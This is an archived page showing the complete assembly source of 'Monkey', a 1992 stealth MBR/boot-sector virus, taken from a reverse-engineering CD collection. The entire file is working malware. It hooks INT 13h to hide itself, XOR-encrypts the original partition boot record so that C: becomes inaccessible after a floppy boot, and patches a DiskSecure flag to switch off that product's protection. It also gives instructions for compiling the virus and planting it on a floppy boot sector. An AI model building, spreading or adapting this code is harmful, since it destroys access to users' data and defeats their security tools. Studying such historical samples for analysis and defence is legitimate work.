home *** CD-ROM | disk | FTP | other *** search
/ Reverse Code Engineering RCE CD +sandman 2000 / ReverseCodeEngineeringRceCdsandman2000.iso / RCE / Library / +ORC / Orc pac 3 / FILEZ.ZIP / MONKEY.ZIP / MONKEY.ASM < prev    next >
Encoding:
Assembly Source File  |  1997-03-04  |  9.6 KB  |  415 lines

  1. ;*******************************************************
  2. ;
  3. ;      Monkey written at the city of champions
  4. ;       - Edmonton - by UACVRS - Jan 1992.
  5. ;
  6. ;     Monkey is a full stealth MBR/Boot self-replicating program with
  7. ;     no payload but it does not save the HD's partition
  8. ;     table in place. When the "infected" computer is booted
  9. ;     from a floppy, c: drive will no longer be accessible.
  10. ;
  11. ;     To compile: masm monkey     (we used MASM 5.0)
  12. ;                 link monkey
  13. ;                 exe2bin monkey.exe monkey.co
  14. ;     Use NU, or debug to copy monkey.co to the boot
  15. ;        sector of a floppy. The diskette will not boot
  16. ;        but will install itself on the hard drive.
  17. ;
  18. ;     Bug: It will trash any floppies higher than
  19. ;          1.44meg, not deliberately.
  20. ;
  21. ;*******************************************************
  22.  
  23. Code   Segment
  24.        Assume  CS:Code,DS:CODE,ES:CODE
  25.        ORG     00H
  26.  
  27. MAIN:
  28.        JMP     INITIAL
  29.  
  30. ; space above 1fh is for floppy format data
  31.  
  32.        ORG     1FH
  33. INT_13     EQU     THIS BYTE
  34.  
  35.           PUSH    DS
  36.           PUSH    SI
  37.           PUSH    DI
  38.           PUSH    AX
  39.           PUSH    CX
  40.           PUSH    DX
  41.  
  42.           CALL    SET_HEAD
  43.  
  44.           CMP     AH,02H
  45.           JNZ     END_ACTION
  46.  
  47.           PUSH    DX
  48.           SUB     AX,AX
  49.           INT     1AH
  50.  
  51. TIME      EQU $ + 2
  52.           CMP     DL,40H
  53.           POP     DX
  54.           JNB     END_ACTION
  55.  
  56.           CALL HANDLE_DISK
  57.  
  58. END_ACTION:
  59.           POP   DX
  60.           POP   CX
  61.           POP   AX
  62.           POP   DI
  63.  
  64.           PUSH  DX
  65.           PUSH  CX
  66.           PUSH  AX
  67.  
  68.           CMP   CX,03H                 ; YES, IS SECTOR LESS THAN 3?
  69.           JNB   EXIT_2                 ; NO, EXIT
  70.  
  71.           CMP   DH,BYTE PTR DS:[SI]    ; Right head?
  72.           JNZ   EXIT_2                 ; NO, EXIT
  73.  
  74.           CMP   AH,02H                 ; READ ?
  75.           JZ    STEALTH                ; YES, STEALTH
  76.  
  77.           CMP   AH,03H                 ; WRITE ?
  78.           JNZ   EXIT_2                 ; NO, EXIT
  79.                                        ; YES!
  80.           CMP   DL,80H                 ; HARD DRIVE?
  81.           JB    EXIT_2                 ; NO, EXIT
  82.  
  83.           SUB   AH,AH            ; else RESET DISK - make HD light blink
  84.           JMP   SHORT EXIT_2           ; EXIT
  85. STEALTH:
  86.           CALL  INT13                  ; READ
  87.           JB    EXIT_3                 ; ERROR?
  88.  
  89.           CALL  COMP_SIG               ; MY RELATIVE?
  90.           JZ    REDIRECT               ; YES, REDIRECT
  91.  
  92.           CALL  COMP_PA                ; NO, IS IT PA?
  93.           JZ    REDIRECT               ; YES, REDIRECT
  94.  
  95. EXIT_0:
  96.           CLC                          ; NO, RESET FLAG
  97.           JMP   SHORT EXIT_3           ; EXIT
  98.  
  99. REDIRECT:
  100.  
  101.           CALL  CHSEC        ; CALC. THE SECTOR TO HIDE & PUT IN CL
  102.  
  103.           MOV   DH,BYTE PTR DS:[SI+1]  ; SET RIGHT HEAD
  104.  
  105.           POP   AX                     ; RESTORE AX
  106.           CALL  INT13                  ; RE-READ
  107.           CALL  ENCRPT_PBR
  108.           POP   CX                     ; RESTORE CX, DX
  109.           POP   DX
  110.           JMP   SHORT EXIT_4           ; EXIT
  111. EXIT_2:
  112.           CALL  INT13
  113. EXIT_3:
  114.           POP   DS
  115.           POP   DS
  116.           POP   DS
  117. EXIT_4:
  118.           POP   SI
  119.           POP   DS
  120.           RETF  0002H
  121.  
  122. READ_SEC_1:
  123.           MOV   AX,0201H         ; READ
  124. INT13 PROC NEAR
  125.           PUSHF
  126.           CALL  DWORD PTR CS:INT13_ADDR     ;***********
  127.           RET
  128. INT13 ENDP
  129.  
  130. HOOK_ENTRY   EQU  THIS BYTE
  131. HOOK:
  132.           INT   12H
  133.           MOV   SI,004CH
  134.           PUSH  SI
  135.           CMP   BYTE PTR CS:HOME_SEC,02H       ; I am in sector 2?
  136.           JZ    SETUP_SPECIAL
  137.  
  138. SETUP_NORMAL:
  139.  
  140.           CALL  SHIFT_NORMAL
  141.  
  142.           MOV   DI,OFFSET INT13_ADDR
  143.           MOV   CX,0002H
  144.           CLD
  145.           REPZ  MOVSW
  146.  
  147.           JMP   SHORT STORE_SEGMENT
  148.  
  149. SETUP_SPECIAL:
  150.  
  151.           CALL  SHIFT_SPECIAL
  152.  
  153. STORE_SEGMENT:
  154.           POP   SI
  155.           MOV   WORD PTR DS:[SI],OFFSET INT_13  ; STORE MY ENTRY POINT
  156.           MOV   DS:[SI+2],AX            ; STORE MY SEGMENT
  157.  
  158. PATCH_OVER:
  159.  
  160.           PUSH  CS
  161.           POP   DS
  162.           CALL  PATCH           ; PATCH OVER
  163.           PUSH  ES              ; PUSH SEGMENT
  164.           MOV   AX,OFFSET JMP_ADDR
  165.           PUSH  AX              ; PUSH ADDRESS
  166.           STI
  167.           RETF                 ; FAR JMP
  168.  
  169.     JMP_ADDR   EQU THIS BYTE
  170. BOOT:
  171.           MOV   ES,CX
  172.           MOV   BX,SP            ; TO 0000:7C00
  173.           PUSH  CX              ; SAVE JMP SEGMENT
  174.           PUSH  BX
  175.  
  176.           MOV   DX,0080H         ; HANDLE C:
  177.           CALL  SET_HEAD
  178.           CALL  HANDLE_DISK
  179.  
  180. BOOT_SEC  EQU $ + 1
  181.           MOV   CL,05H           ; FROM SECTOR 3   ????
  182.  
  183. BOOT_DISK  EQU $ + 1
  184.           MOV   DX,0100H         ; C:, HEAD 0      ????
  185.  
  186.           CALL  READ_SEC_1      ; INT 13
  187.  
  188.           CALL  ENCRPT_PBR
  189.  
  190.           RETF
  191.  
  192. HANDLE_DISK PROC NEAR
  193.  
  194.           ; *** READ SECTOR 1 ***
  195.           SUB   CX,CX
  196.           INC   CX
  197.           PUSH  CX
  198.  
  199.           MOV   DH,[SI]          ; HEAD
  200.           CALL  READ_SEC_1      ; INT 13
  201.           JB    END_HANDLE_DISK          ; ERROR -> END
  202.  
  203.           ; *** COMPARE ***
  204.           CALL  COMP_SIG
  205.           JZ    E_2                      ; SAME -> UPDATE MYSELF
  206.  
  207.           ; *** PA?  ***
  208.           CALL  COMP_PA                  ; Is it Pagett's disksec?
  209.           JNZ   UPDATE_DISK              ; NO
  210.  
  211.           ; *** OK?  ***
  212.           INC   CX
  213.           CMP   WORD PTR ES:[BX+1FAH],00H ; when this byte in disksec is set
  214.                                           ; to 0 means disksec would not do
  215.                                           ; checksum of partitions - Pagett
  216.                                           ; sucks
  217.           JZ    E_2                       ; SAME -> UPDATE MYSELF
  218.  
  219.           MOV   WORD PTR ES:[BX+1FAH],00H ; set this to zero
  220.           MOV   CL,1H                     ; write the change back to sector 1
  221.           CALL  WRITE_SEC_1               ;
  222.           JB    END_HANDLE_DISK
  223.  
  224.           ; *** YES! READ SECTOR 2  ***
  225.           INC   CX              ; yes,Pagette 's disksecure is on sector 1
  226.           MOV   DH,[SI+2]       ; My relative is on sector 2 - read sector 2
  227.           CALL  READ_SEC_1      ; INT 13
  228.           JB    END_HANDLE_DISK ; ERROR -> END
  229.           POP   AX
  230.           PUSH  CX
  231.  
  232. UPDATE_DISK:
  233.           CALL  CHSEC        ; CALC. THE SECTOR TO HIDE & PUT IN CL
  234.           CALL  ENCRPT_PBR
  235.           INC   SI
  236.           CALL  WRITE_SEC_1
  237.           DEC   SI
  238.           JB    END_HANDLE_DISK
  239.  
  240.           CALL  ENCRPT_PBR
  241.           PUSH  CX
  242.           CALL  PATCH
  243.           POP   CX
  244.  
  245.           PUSH  DX
  246.           CMP   DL,80H
  247.           JNB   E_1
  248.           XOR   DL,DL
  249. E_1:
  250.           MOV   WORD PTR ES:[BX+BOOT_DISK],DX
  251.           POP   DX
  252.           MOV   BYTE PTR ES:[BX+BOOT_SEC],CL
  253.           POP   CX
  254.           PUSH  CX
  255.           MOV   BYTE PTR ES:[BX+OFFSET HOME_SEC],CL
  256.           MOV   WORD PTR ES:[BX+OFFSET BOOT_SIG],0AA55H
  257.  
  258. E_2:
  259.           CALL  WRITE_SEC_1
  260.  
  261. END_HANDLE_DISK:
  262.           POP   AX
  263.           RET
  264.  
  265. HANDLE_DISK ENDP
  266.  
  267. WRITE_SEC_1 PROC NEAR
  268.           MOV  DH,[SI]
  269. WRITE_SEC_2:
  270.           MOV  AX,0301H
  271.           CALL INT13
  272.           RET
  273. WRITE_SEC_1 ENDP
  274.  
  275. COMP_SIG PROC NEAR
  276.    CMP     ES:[BX+OFFSET PROG_SIG],9219H
  277.    RET
  278. COMP_SIG   ENDP
  279.  
  280. COMP_PA PROC NEAR
  281.    CMP   WORD PTR ES:[BX+119H],6150H   ; PA?
  282.    RET
  283. COMP_PA    ENDP
  284.  
  285. HOME_SEC    DB     01H
  286.  
  287. FLOPPY_HEAD DB     00H,01H,01H
  288. HARD_HEAD   DB     00H,00H,00H
  289.  
  290.                   ;  360 720 1.2 1.44
  291. FLOP_SECT_TABLE   DB  02H,05H,09H,0BH
  292. SAVE_SECT_TABLE   DB  03H,05H,0EH,0EH
  293.  
  294. CHSEC PROC NEAR
  295.    PUSH    DI
  296.    PUSH    SI
  297.    MOV     AL,ES:[BX+14H]
  298.    MOV     CX,0004H
  299. CHSEC_1:
  300.    MOV     SI,CX
  301.    DEC     SI
  302.    CMP     FLOP_SECT_TABLE[SI],AL
  303.    JZ      CHSEC_END_1
  304.    LOOP    CHSEC_1
  305.    MOV     CL,03H
  306.    JMP     SHORT CHSEC_END_2
  307. CHSEC_END_1:
  308.    MOV     CL,SAVE_SECT_TABLE[SI]
  309. CHSEC_END_2:
  310.    POP     SI
  311.    POP     DI
  312.    RET
  313. CHSEC      ENDP
  314.  
  315. SHIFT_NORMAL PROC NEAR
  316.  ; FIND THE SEGMENT TO HIDE
  317.     DEC    AX
  318.     MOV    DS:[413H],AX
  319.  
  320. SHIFT_SPECIAL:
  321.     MOV    CL,06H
  322.     SHL    AX,CL
  323.     ADD    AL,20H
  324.     MOV    ES,AX
  325.     RET
  326. SHIFT_NORMAL     ENDP
  327.  
  328. PATCH PROC NEAR         ; PATCH ON BOOT SECTOR STARTING AT BYTE int_13
  329.     PUSH  SI
  330.     MOV   DI,BX
  331.     MOV   SI,OFFSET INT_13
  332.     ADD   DI,SI
  333. ;   CLD
  334.     MOV   CX,OFFSET PROG_END - OFFSET INT_13
  335.     REPZ  MOVSB
  336.  
  337. PATCH_JMP:
  338.     MOV   DI,BX
  339.  
  340.     SUB   SI,SI
  341.     MOV   CL,3H
  342.     REPZ  MOVSB
  343.  
  344.     POP   SI
  345.     RET
  346. PATCH     ENDP
  347.  
  348. SET_HEAD PROC NEAR
  349.     PUSH  CS
  350.     POP   DS
  351.  
  352.     MOV   SI,OFFSET FLOPPY_HEAD
  353.     CMP   DL,80H
  354.     JB    SET_HEAD_EXIT
  355.     MOV   SI,OFFSET HARD_HEAD
  356. SET_HEAD_EXIT:
  357.     RET
  358. SET_HEAD  ENDP
  359.  
  360. INITIAL:
  361.       CLI
  362.       SUB   BX,BX
  363.       MOV   DS,BX
  364.       MOV   SS,BX
  365.       MOV   SP,7C00H
  366.       JMP   HOOK
  367.       NOP
  368.       NOP
  369.  
  370. ENCRPT_PBR:
  371.       PUSH    DI
  372.       PUSH    CX
  373.       PUSH    AX
  374.  
  375.       MOV     DI,BX
  376.       MOV     CX,200H
  377.  
  378.       CLD
  379. ENCRPT_1:
  380.       MOV     AL,ES:[DI]
  381. ENCRPT_CODE   EQU $ + 0001H
  382.       XOR     AL,2EH
  383.       STOSB
  384.       LOOP    ENCRPT_1
  385.  
  386.       POP     AX
  387.       POP     CX
  388.       POP     DI
  389.       RET
  390.  
  391.  
  392.              ORG 01F4H
  393. ;PROG_NAME   DB     "Monkey"
  394. PROG_NAME   DB     6dh,8fh,8eh,8bh,85h,99h
  395.  
  396.              ORG 01FAH
  397. PROG_SIG    DB     19H,92H
  398.  
  399. PROG_END    EQU   THIS BYTE
  400.  
  401.             ORG 01FCH
  402. INT13_ADDR  DB     00H,00H
  403.  
  404.             ORG 01FEH
  405. BOOT_SIG    DB     55H,0AAH
  406. PROG_TAIL   EQU   THIS BYTE
  407.  
  408. PROG_LEN    EQU   OFFSET PROG_END - OFFSET INT_13
  409.  
  410.  
  411. CODE      ENDS
  412.       END MAIN
  413.  
  414. ; from U of A
  415.